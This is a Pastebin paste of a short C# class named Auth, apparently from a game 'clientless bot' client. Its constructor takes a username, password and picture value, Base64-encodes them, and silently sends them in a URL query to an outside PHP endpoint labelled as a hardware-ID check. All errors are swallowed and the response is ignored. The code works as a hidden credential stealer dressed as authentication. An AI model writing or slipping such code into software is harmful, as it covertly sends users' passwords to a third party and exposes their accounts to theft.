Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Net;
- using System.Text;
- namespace RongorClient.Network
- {
- class Auth
- {
- public static string B64Enc(string Text)
- {
- return Convert.ToBase64String(ASCIIEncoding.UTF8.GetBytes(Text));//return (Encode) ? Convert.ToBase64String(ASCIIEncoding.UTF8.GetBytes(Text)) : ASCIIEncoding.UTF8.GetString(Convert.FromBase64String(Text));
- }
- public Auth(string username,string password,string pic)
- {
- try
- {
- HttpWebRequest myHttpWebRequest = (HttpWebRequest)HttpWebRequest.Create("http://clientlessbot.zxq.net/hwid.php"+ "?a=" + B64Enc(username) + "&b=" + B64Enc(password) + "&c=" + B64Enc(pic));
- myHttpWebRequest.Method = "GET";
- myHttpWebRequest.ContentType = "text/xml; encoding='utf-8'";
- myHttpWebRequest.Proxy = null;
- HttpWebResponse myHttpWebResponse = (HttpWebResponse)myHttpWebRequest.GetResponse();
- }
- catch (Exception) { }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement